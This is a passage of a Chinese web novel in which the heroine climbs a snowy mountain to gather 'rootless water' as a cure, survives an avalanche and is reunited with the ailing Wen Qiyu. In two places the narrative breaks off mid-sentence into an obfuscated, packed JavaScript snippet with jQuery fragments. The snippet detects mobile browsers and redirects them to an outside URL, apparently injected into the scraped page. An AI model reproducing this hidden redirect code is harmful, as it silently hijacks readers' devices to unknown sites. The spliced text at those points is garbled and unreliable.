“只要是人、动物,所有有生命的东西都有污浊之气,因此只要是生命密集之地,浊气就无处不在。”杨宗明说着,就为去哪儿找这无根之水发起了愁。 “也就是说,必须要人迹罕至之处的无根之水才有用?” “是!”他补充说,“不仅人迹罕至,最好要荒无人烟,甚至连动物都未去过之处的无根水才有用。” “啊?可是哪里会有这种地方呢?”叶之萤也一下子犯了难,不免仰天长叹,却突然从窗户瞥见西边香雪山山顶的皑皑白雪,一下子有了主意,指着山顶道,“那里应该算得上是荒无人烟之地吧? “算的,算的!”经她一提醒,杨宗明猛拍大腿,“那里终年积雪,又陡峭难行,即便是我也最多行至山腰便要原地折返,山顶鲜少有人上去,自然算得上。” 叶之萤轻敲桌面思忖道:“这山顶也不是谁都能上去的,必须得找个身手矫健之人,我觉得阿力就挺合适!” 眼前的人一脸难为地看着她,道:“这信……你再继续往下读。” 她又读下面的内容,看到这么一句话,实在不明白是什么意思:“无根之水乃纯阴之物,取水时忌以阳毁阴,这是什么意思?什么才算‘阳’?” “男子为阳,这话的意思是水必须要由女子取才行。”杨宗明丧着个脸道。 “什么?”叶之萤放下信,没忍住惊讶地叫了一声。那么陡峭难行的山,连常年习武、带兵打仗的男子都不一定上得去,去哪儿找这样身手矫健的女子?她终于知道他刚刚为什么叹气了。 “这……”她把信多次举起又放下,“要是没人能去山上取水,其他不是都白搭吗?” “是啊,难就难在这儿了!” “这黎城就没有一个能爬上香雪山的女人?”她还是不死心。 “黎城女子多在家相夫教子,顶多种种花、种种茶、织织布,想寻得一个能爬上山顶的女子,怕是没有!不过,”他话锋一转,“也不是没有别的办法,我可以在全邺国范围内找,那肯定能找到的,你别急!” “如果在全邺国地毯式搜索,大概得多久能找到?” “估计三个月吧。” “这么久?”叶之萤把心一横,道,“别找了,我去吧!” 她如今是一刻也等不了了,恨不得明天就去山上取水治好温其玉,立刻和他在一起,让她再过三个月和温其玉互不理睬的日子,那简直比要了她的命还要让她痛苦! “你去?”杨宗明自然不同意,“你疯了?” “你忘了,我可是爬山高手!” 叶之萤这话不假,还没成名时,她就跟着驴友爬过不少国内著名的野山。 “这里的山和我们那里可不一样,这里什么保护措施都没有,没有手机、没有信号、没有直升机,万一出事了谁也营救不了你。” 当然,杨宗明这话更是不假。 “那我们就准备些保护措施呗!帽子、围巾、登山杖、冰爪、背包,能准备什么就准备什么。”叶之萤没有丝毫要退缩的意思。 “你真是疯了!太疯狂了!我不会帮你的,再想别的办法吧!” “可是没别的办法了啊!我真的不能再跟他这样生活下去了,必须要尽快治好他!否则我才真是要疯了!” “陈阳,我不是明知不可为而为之,也不是硬要逞强,更不是不想活了,我有充足的户外经验,那香雪山看着也不是特别陡,只要提前做好准备,我是可以上去的,你相信我好不好?” “如果中途我发现上不去了,一定会先下山再想办法,不会硬上的。” “陈阳,就算我们找到了能上香雪山的女孩子,可万一她在上面出了事,丧了命,我们也是要内疚一辈子的,别人的命也是命啊!就让我去吧,好吗?” 半个小时后 “你想好了,真的要去?” “嗯,想好了!” “哎!”杨宗明叹了口气,从椅子上站了起来。 叶之萤一把抓住他:“你干嘛?” “时候不早了,我赶紧回去给你准备东西啊!”他边说边摇头。 叶之萤激动地大叫一声,从椅子上跳了起来。杨宗明赶紧示意她隔墙有耳,让她小声些。 只是,此事要做,还少不了一人的里应外合, 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说到这里,叶之萤就得意了:“温其玉还以为自己是神,以为我干什么都逃不过他!这回被我骗过去了吧?哼,我就是故意要让他干着急,谁让他那样对我!不过阿力,你可一定要帮我,这件事没你不行的!” “那可不成!这……少爷要是知道了……得要了我的命呀!”阿力吓得连连摆手。 “哎呀,你怎么动不动就是他知道他知道的!你不说我不说,他怎么会知道啊?你看神医这件事他不是到底儿都还被我蒙在鼓里吗?他又不是神,他躺在床上,再厉害也要靠你们当眼线不是?你想想,我和他都一个多月没怎么说话了,这段时间我连他房里都没去过,就算有一天偷跑出去,只要你不说,他根本不会知道的!” 不提这事还好,一提起这事叶之萤就又生气了!就因为那天她的那一句抱怨,温其玉还真的就再也不主动理她了,对她态度那么冷淡,她现在居然还要冒着生命危险去给他采雪?凭什么! “可是那山顶太危险了,万一你出了什么事,少爷怕是会疯掉的!”阿力还是不同意。 “切!”她翻了个白眼,赌气抱怨道,“他会疯?他高兴还差不多!我要是出事了,以后再也没人逼他烦他了,他就耳根清净了,多好啊!” 阿力无奈打断她:“叶小姐,你瞎说什么呢?你明知道不是这样的。” “我可没瞎说,他现在对我的态度你难道没看到吗?简直恶劣得不得了。” “少爷那是因为最近天气阴冷异常,身体抱恙,所以才难免怠慢了你……” “行了行了,你就别替他说话了!他现在对我,就跟耗子躲猫似的避之不及,远远听见我的声音都要急忙躲起来,有几次我刚从房里出去,他房间的门就关了,哪能次次都那么巧?不就是怕我进去吗?” 阿力没想到她连这都看出来了,脸上瞬间流露出一种做坏事被当面拆穿的尴尬。 她话锋一转,道:“不过谁让本仙女宽容大度呢?即使他这么对我,我还是要救他的。” “别啊!你再考虑考虑,那山真不是一般人能上得去的。” “你恐怕还不知道,我可是个登山高手,放心吧,我一定能平安回来!我告诉你,不管你帮不帮我,我都会想办法偷偷去的,总之我是一定要去的!一定要把无根之水带回来!” “可是……”阿力还在犹豫。 “别可是了,难道你不想他早点康复吗?” 一句话问得阿力再也拒绝不了,他双手抱拳向眼前这个目光坚毅的女子深深地行了个礼:“叶小姐,那就拜托你了!” 117. 无根之水 初八早晨天还未亮,在阿力的掩护下,叶之萤蹑手蹑脚摸出了房门。顺利出了温宅大门后,她向南走了一条巷子,杨宗明驾着马车就在巷子的尽头等着她,一路将她护送至香雪山。 二人从草木繁茂爬到草木凋零,不到中午,就已经来到了山腰。 这里有一潭湛蓝的池水,蓝得那么纯粹,没有一丝杂质,只看一眼,满身的污浊就全被净化。天上的白云映在水里,仿佛它们原本就是从这池中长出来的。这样的美景藏于山林深处,平日里只供仙人欣赏,今日他们也有幸见识了一番。 不知道有朝一日,温其玉有没有机会上山来看看?叶之萤相信,只要收集到这无根之水,就一定有的! 二人找了一处平缓之地坐下歇了歇脚,又吃了点干粮,补充了些水分,就在此处分开了。 “夜莺,一定要保重,我就在这里等你,如果这次实在上不去也别逞强,先下来我们再从长计议,总之安全第一,知道吗?”杨宗明不厌其烦地叮嘱她。 “嗯,放心,我会保护好自己的。” 再往上走,叶之萤就明显感觉到山中的景色与刚才所行之处大有不同。树木开始变得稀少,山石都裸露了出来,已经见不到由人的双脚踩出的小径了,没了这些小路,山路变得异常难行。路上时不时窜出来一些平时难以见到的动物,有像老鼠一样的长毛兔子,还有长毛的像牛一样的动物。 当然,最可怕的是蛇,路上她见到了两条花蛇,吓得急忙屏住呼吸、连滚带爬地逃跑,直到再也憋不住气了,才用手捂着口鼻小心地呼吸。生怕被蛇发现她的气味。 有时候走着走着,还算平缓的坡度突然就变得陡峭起来,甚至与地面近乎垂直,好几次她都是做足了心理准备,手脚并用才爬上去。上去之后便要瘫坐在平台,给已经吓软了的双腿一些时间,让它们重新恢复坚强;把提在手上砰砰直跳的心脏小心翼翼地重新装回胸膛;看着身后的峭壁和早已踩在脚下的白云深深吐出一口气,为自己依旧活着而庆幸;再给自己加加油,鼓足勇气继续向前走。 再向上,气温骤降,空气稀薄,狂风呼啸,暴雪飞扬。放眼望去,哪还有一点绿色?嶙峋的青石上全部覆盖着一片白茫茫。 “叶之萤,你太厉害了!再往上爬一点,就可以采雪了,加油!”她急促地喘着气,兴奋地给自己鼓励。 石头已经全被雪覆盖了,她的每一步都踩在雪里,不一会儿,脚和腿就已经冻得发疼,又走了一阵,双脚就没知觉了。但她已经顾不上这些了,因为她正被高反剧烈折磨着,呼吸困难,头痛欲裂…… 平日里远处看着雍容华贵的雪山,深入腹地才知环境有多么残酷。 她环顾四周,确信这地方许久都没有过生命的痕迹了,便找了块空地,从背后的包里取出一个陶罐,放在雪地上,又走到远处,静静地等着陶罐被雪盛满。 纯净洁白的雪渐渐被染成了华丽的金色,而后又染成热烈的红色,夕阳渐落,带给这雪山最后的色彩,不久后,这里就将会被无尽的黑色笼罩。她必须要快点下山,赶在天色彻底黑暗之前,否则,今夜一定会被冻死在这雪山之巅…… 而此时的香雪山下,一大群人被分成四路,已经整装待发,正准备向山中行进。 温其玉坐在一旁的轮椅上,怒不可遏地瞪着面前的杨宗明。 他先是去了杨府,又去了茶园,都寻不见杨宗明人,最终在香雪山的半山腰才被他的人找到并揪了下来。 “温少爷,你不用如此心急,夜莺爬山很有经验,放心吧!” 这人居然还有脸宽慰他。不心急?说得容易,怎么可能不急?他气得声音都在发抖:“你口口声声说要照顾她,口口声声说自己是她在这里唯一的亲人,她有如此疯狂之举,你为何不劝她?” 眼前的男子倒委屈起来:“我当然劝了呀!可我劝不动她呀!她是什么人,温公子和她相处的这段时间恐怕也早有体会了。如果我不答应她,她还是会自己想办法的,到时候更危险。倒不如我来帮她,至少能最大程度保护她的安全。” 说得倒也没错。 “你为她准备的东西足够吗?”他又问。 “足够,足够!夜莺也是我妹妹啊!温公子,说句你不爱听的话,至少在我心里,她的命比你的更重要,如果不是知道她有这个能力,我怎么可能同意她去,枉顾她的生死呢?” “她若是……”温其玉甚至不敢将那几个字说出口,生怕说出来就成了真,那双凌厉的目光划过面前之人的脸,“我定不会放过你!” 说完,那双眼睛就又带着深深的担忧望向那直穿云霄的山顶。 当雪从陶罐口溢出时,叶之萤已经变成了一个雪人,满头、满身都被雪覆盖了。她快速抖掉身上的雪,屏住呼吸,跑到陶罐前,把事先准备好的盖子快速盖在陶罐上,又用厚布封住罐口,再用另一块厚布裹住整个罐子,把陶罐放回背包,背在身后,确保没有浊气可以再浸染它,这才重新开始呼吸。 下山的路更难走,有很多悬崖峭壁要爬着下,她须得全神贯注,双手抓牢峭壁的凹凸处,确保自己的每一步都踩在正确的地方,再谨慎地迈出下一步。 两个时辰后,暴雪已停,黑夜也正式拉开了大幕,她终于在目光所及之处看到了一点点的植被的影子,她知道,就快要离开这冰雪之巅了,那颗始终悬在嗓子眼的心终于平稳地落了下去。 突然,从头顶上方掉下来一块松散的雪块,砸在了她肩头。 “雪不是都停了吗?”她困惑地往上一望,黑暗之处,又有几块刺眼的白色掉了下来。她赶紧往旁边躲了躲,发现更多的白色稀稀拉拉从上面的峭壁上滑了下来。 不好!这是雪崩了?她脑子里突然闪过这个名词。 她从没遇到过真的雪崩,只是在网上刷到过雪崩的视频,但是在当下,她却无比坚定的认为这就是雪崩! 她慌忙四处逃窜,目之所倚之处却无一处可以躲藏。纵然她在来之前做了许多准备,自以为已经准备得很充分了,但是突遇雪崩这样的事是她万万没料到的,此时的叶之萤,像极了一匹受惊的马,完全不知道该往哪儿躲才能避开这吃人的雪怪。 难道今天要死在这儿了? 不!自己还要活到长命百岁的! 还要给温其玉解毒,还要跟他谈恋爱的! 还要把沈氏布庄打造成黎城第一布庄,还要把“菱花裳”推广到全邺国! 还有那么多事没做完,不能让自己的生命再一次戛然而止! 几片雪花落在了杨宗明的头上,他伸手一摸,诧异得皱起了眉。 轮椅上的人瞥见了他的动作,抬头往山上一看,顿时大惊失色。 “雪崩了……”他几乎不敢相信自己的眼睛,死死地盯着在墨黑的背景之上那一大片如瀑布般倾泻而下的白色。 “什么?”身边的人似乎是没听清他的话。 “山上雪崩了!”他大喊起来。 杨宗明回身一看,下一秒就瘫坐在地了。 “夜莺还没下来!”他手脚并用从地上爬起来,急得在原地打转,“温公子,这可怎么办?夜莺还在山里!” 阿力也从山下跑了过来:“少爷!” 温其玉右手死死地握住轮椅的扶手,双眼死死地盯着山上,脸色惨白,神情几近魂飞魄散。 “阿力,提醒大家注意安全。”温其玉的声音抑制不住地抖着。自己从前总说要保护她,可眼下,他望着近在咫尺的雪山,却束手无策,寸步难行。他多想冲进山里去找她呀!若是自己有个健康的身体,便能义无反顾地冲进山里,哪怕被大雪吞没、哪怕掀了这山也要寻到她的踪影。 “不行,不能再等下去了,我进山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995699|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找她!”杨宗明扔下这句话,就决然往山的方向跑去。 “少爷,我也与杨公子同去。”一旁的阿力也追了上去。 “找仔细些!”而此刻,他能做的只有趁他们的身影还未消失在墨色中,焦急地叮嘱一句,而后便孤独地坐在轮椅中,望着那山口的方向,开始漫长而煎熬的等待。 半个时辰后,他见那片白色的瀑布似乎渐渐停止了滑落。 “荣祥,再派多两倍手上山去找,每个角落都不能放过,山上太冷,要快一点!一个时辰之内必须寻到人!” 他乐观的认为,即使叶之萤真的被雪掩埋,只要他能快些找到她,就不会有生命危险!一定不会有生命危险! 可那一点点微乎其微的乐观很快就轰然崩塌了。 眼看杨宗明一无所获地丧气归来,他心中的恐惧也如同那山上的雪崩倾泻而出。 “她人呢?叶之萤她人呢?”他朝杨宗明疯狂怒吼,“没寻到她,你回来做什么?” 杨宗明站在那里,面对他的指责,愧疚地流泪。 “你在哭什么?你不是很自信吗?不是说她不会有事吗?那就去把她找回来,把她平安带回来!”他激动得几乎无法呼吸,杨宗明就站在他面前,若是可以,他定会起来死死掐住他的脖子,狠狠地朝他头上挥一拳,可是他不行,别说站起来打他了,即使愤怒已经到达顶点,他连伸手指一下他都做不到。 “荣祥,找几个人来,抬我上山,我亲自去寻她!” 他不能再坐在这里望眼欲穿了。 身后的荣祥却罕见地忤逆了他:“少爷不可,那山路难行,您身体不便,即使抬您上去,也……也……” 他话没说完,温其玉已然明白了话中之意。 “莫不是要我再重复一遍?”他的声音比雁湖的水还冰凉。 荣祥不敢再阻止,只得找来八个人,抬着他上了山。临出发时,他警告杨宗明:“若是她不能平安回来,我要你偿命!” 温其玉仅上山寻了一个时辰,就碰到第一批搜山队员正从山上下来。 “人还没寻到,谁让你们下来的?”他大发雷霆。 众人皆面露难色,其中一人向他汇报,上面的平坦之处已被雪全部掩埋,他们全部搜寻过了,没发现有活人的踪迹,再往上便是陡峭的悬崖了,悬崖亦被雪覆盖,得穿上特殊的攀岩工具才能再往上爬,这才不得不下山来。 没发现活人的踪迹是什么意思?他心里一沉,又下令道:“三人下山去准备攀岩工具,其余人继续上山搜。所有被雪掩埋的地方,再去找,活要见人死要见尸,找不到不准下山!” 可眼看东方已经泛白,整整寻了一夜,都寻不见叶之萤的身影,温其玉心里逐渐绝望了。一旁的湖泊黑漆漆的,看上去深不见底,仿佛一个吃人的黑洞,只看了一眼,就吓得温其玉浑身一颤。 “这湖里寻了吗?”他的声音已然透着深深的绝望。 一旁的阿力被他的话吓了一跳,赶紧安排人打捞。 “阿力,是我害了她!我不该自作聪明让你告诉她那件事的。”绝望的泪水从他眼里簌簌地流。 一旁的阿力拼命摇头:“少爷,这不怪你,你也只是想让叶小姐对你的离开提前有个心理准备,谁能想到她竟然真的会因为那几句话去找神医呢?” “是我的错!是我害了她……”温其玉已经听不进去这些话了,只是一味痛苦地自责,又命令一旁等候的担夫,“抬我继续上山。” 眼看担夫们面露难色,阿力只好上前劝阻:“少爷,山路逐渐陡峭,您的轮椅不方便再上了,不如先下山去,说不定叶小姐也已经下山了,总要有人在山下候着的。” 是啊!说不定她昨夜就下山了!说不定她根本未遇到雪崩,也未掉进湖里!说不定她已经回温宅了!不能只在山上寻,他要下山去寻她! 118. 幡然醒悟 等叶之萤踉踉跄跄走到山脚下时,已是第二日上午了。雁湖沉静而安详,一道朝霞铺在湖面,泛着粼粼金光,湖边大雁悠闲地散步,被雪染白了头的大树随风颤抖,白雪如梨花般优雅地飘落。她从未觉得世界如此美好。美好到仿佛昨夜山上的一切恐怖都没有发生过。 不过,她没时间再欣赏美景了,再不回去,阿力恐怕要瞒不住了。 正当她准备迈步前行之时,发现湖边零零星星站着一些人,在那些人的身后,还有一个熟悉却又陌生的身影,自己不过半个多月没看见他,他的背影竟然已经和她印象中截然不同…… 从前,他虽然因为中毒导致身体消瘦,但依然有着宽大的肩膀,每每坐在轮椅中,也都努力挺直腰背,丝毫不会给人以虚弱狼狈的姿态。可面前的这个人,背身对着她,身体蜷缩着,无力地斜靠在轮椅上,瘦弱得仿佛只剩一个骨架,身上披着的厚厚的狐裘大氅几乎要将这骨架压塌。虽然隔得很远,但那个背影所散发出的凄凉带给她那一瞬间的冲击让她的心狠狠地揪了一下。 温其玉亲自跑来这里找她,只有一个原因,就是她来采无根水的事已经败露了。这时候过去,迎接她的恐怕只能是劈头盖脸的一顿骂。想到这里,她不由得放缓了脚步…… 但再一想,他好像拿她也没办法,顶多就是不再搭理她!反正他已经好久没理她了,还有什么可怕的?如果他骂她,大不了她就恶心先告状:“本仙女都不顾你对我态度恶劣、不计前嫌冒着生命危险替你寻得良药了,你还好意思骂我?” 嗯,就这么办! 叶之萤轻快地跑过去,众人看到她皆惊讶不已,激动地议论起来,就像平静的灶头“轰”一下被火点着,激动的程度反倒搞得她一头雾水。至于嘛?她在心里暗暗吐槽。 “叶小姐!!!”阿力看到她,高兴得整个人都跳了起来,一边激动地朝她大吼,一边迫不及待地回头望向轮椅上的那个身影。脚下凌乱的步伐更是不知是想往她这里跑,还是往温其玉那边跑。 那个背影在听到阿力的喊声后,身体一颤,而后猛地回头,二人目光对视,她才发觉他竟沧桑了许多,双眼又红又肿,脸颊还挂着未干的泪痕,唇周也冒出了憔悴的青色胡茬,他孤独地坐在那里,看起来是那么可怜,好像被世界抛弃了一样。 他死死地盯着她的脸,从额头看到眉毛、眼睛、鼻子、嘴巴,又看到衣服、裤子、鞋子,眼眶越来越红,双眸越来越亮,随后,两行泪水从他的眼眶中滚落而下,而和那些泪水一同涌出的,还有失而复得的激动和劫后重生的恐惧。 他的双手慌张而颤抖地攀上轮椅的轮子,想转动它们,把它们推向她的方向,可双手只在轮子上握了很短的时间就委屈地松开,而后他努力向后转动身子,艰难地向他的身后——也是她的方向——伸出了手。 “过来!”他的声音颤抖着,带着浓浓的鼻音。 她跑到他面前,他的目光始终跟着她,连眼睛都没眨一下,好像生怕眨一下眼她就会不见了似的。待她卸下身后的背包,蹲下来,还没来得及说话,他的手就颤抖着抚上她的脸颊,又颤抖着从眼睛轻抚到嘴角。他的眼中不断有泪水涌出,从苍白的皮肤上滚落下去。 看到温其玉的样子,叶之萤心里提前编排好的那些话一句也说不出口了,只想问问他怎么了。可还没张开口,就被他一把拉进怀中,紧紧抱住,很久都没有松开。他的头靠在她肩上,泣不成声。 叶之萤不知道这一夜之间发生了什么让他变成这样,即使是自己一夜未归,也不至于怕成这样吧?上次她被绑架那么大的事,他不是也稳住了吗?她越想越奇怪,双手悬在空中犹豫了很久,才配合着也搂上了他的腰。 “那个……不是我主动搂你的啊!”搂上之后还不忘在他耳边解释一番,生怕他又说她不自重。现如今她对于和他的肢体接触都已经有了应激反应。 “别再离开我!”他的声音已完全被恐惧覆盖,“对不起!” 滚热的泪水将叶之萤的衣领浸湿了一大片。 “我没有离开你,我只是去山上采无根水了。”她将他推开,小心地拿起身边的背包给他看,“就在这里面装着,有了它,你很快就能好起来了。但是它现在得离你远点儿,你身上阳气太重!” 说完,又赶紧把背包小心放在远处。 轮椅上的人看了一眼背包,目光又重新回到了她的身上,将她从头到脚打量了一番,眉头越皱越紧,直到看到她满是泥水、已经黢黑的裤子和鞋,眉心狠狠地拧了一下,开口道:“先上马车再说吧!” 马车里,火炉正燃着,一股暖流将叶之萤紧紧包围,她舒服得打了个颤。 “热水和干净的衣裳都在座位下面放着。”说完,他就自觉地闭上眼睛,把头扭到了另外一侧。 叶之萤很快换上了一套干爽温暖的衣服,叫他睁开眼睛。又喝了许多热水,让身体逐渐暖和起来。之后,她脱了鞋袜,找了个温度合适的地方烤火,想让冰冷的腿脚也慢慢热起来,很快,她的脚居然冒起了蒸汽。 他望着她冻得红肿的双脚,又红了眼眶。 “你今天怎么了?都不像你了。”叶之萤认识的温其玉,从来没有如此脆弱过。 “你的脚冻伤了,别离火太近,否则会形成冻疮的,日后年年都会犯。”他的语气很淡,却明显压抑着哽咽,像是没有听见她刚才的问话。 “那要怎么办?”叶之萤吓得赶紧从炉边收回了双脚。 “把腿搭在这里。”他指了指自己右边的空位。 她按他说的把腿搭了上去,他就上手去摸她的脚,谁知一碰到她的皮肤,手就被她腿骨里散发出来的惊人寒气吓到了,愣了一两秒,才又重新按上去揉搓起来。 这回轮到叶之萤吓得赶紧缩回脚去了。 “别动,只有这样才能促进血液流通。”他说。 “不……不行,我自己来吧。”说着,她就自己给自己搓起了脚。 可是,在他面前搓脚这种行为实在让她尴尬地脚趾扣地,只搓了几下,就再也下不去手了。 “为何停了?”他不解。 “回去再弄吧。”她搪塞道,不自觉用手揉了揉鼻子,又猛然反应过来这是搓过脚的手,赶紧又放了下去,场面一度尴尬至极。 温其玉却仿佛独立于这尴尬的空间之外,指着刚才那个包裹说:“里面还有一张盖毯,你拿出来盖在腿上,让腿脚先恢复温度。” “你……想得很周到。”她从里面拿出羊毛毯紧紧包住了像冰块一样冒着寒气的双腿,慢慢的,叶之萤全身紧绷的肌肉放松了下来。经历了一夜的极度严寒,多亏有他备了这些。 而温其玉虽身披狐裘大氅,腿上也盖着狐皮毯子,但即使如此,刚刚在雁湖边抱着她时,她冰凉的身体也未感受到他体内散出的一丝热气。她这才后知后觉,他怕是已经在雁湖边坐了好几个时辰了。那他必定是知道了昨夜山上发生的事。 “为何又做傻事?”他的身体无力地斜倚在车厢的角落,摇摇欲坠。 “这可不是傻事!”她反驳他,眼中泛着兴奋的光,“这下你的毒真能解了!” “你若是出了意外,我好了又有何用?”他红着眼眶问她,眼中尽是心疼和恐慌。 叶之萤“哼”了一声,道:“我出了意外,不是正好没人烦你了吗?你就再也不用躲着我了,多好啊!” “不是!”他激动起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对,她当然知道,他温其玉是何等理智的人,当然不会做这样丧失理智的事,他能同意接受她,一定是心里想好了的。 但叶之萤却始终有股怨气未消,追了他这么久,被他拒绝了无数次,凭什么他一点头自己就得巴巴地跟着同意,他这么容易就追到自己,不对,他甚至连追都还没追……岂不是太便宜了他?她心理不平衡! 于是她开口道:“你从前拒绝我太多次,一次又一次伤我的心,我的心因此受到了极大的创伤,你要负责!” “如何才能治愈你心中的伤?”他诚恳地向她请教。 “追求我!”她直截了当地说,“我追了你那么久,你要是不追追我,让我也拒绝拒绝你,那我多吃亏?” 叶之萤看得不太清楚,眼前的人似乎是笑了,他的语气饱含温柔:“谢谢你还愿意给我机会!” “别高兴得太早,你可不一定能追得上!” 他的语气无比坚定:“我相信我可以的!” 叶之萤一挑眉:“拭目以待!” 脚趾开始有些发痒,她隔着毯子悄悄用手揉了揉,还是被眼尖的他发现了:“怎么了?是不是不舒服?” 她只好实说:“有点痒。” “双腿回温了吗?” 她的手从盖毯缝隙塞进去,摸到的依旧是一阵冰凉:“没有。” 昨夜,香雪山中的风雪犀利地直穿她全身血肉,叶之萤体内的每一颗细胞都凝结成冰,如今她的腿骨早已不是腿骨了,而是两根散着寒气的冰柱,想要让它们消融恐怕没那么容易。 他探头对着车前喊道:“阿力,马车再快点!”又问她,“你昨夜到底去哪儿了?为何大家都寻不到你?”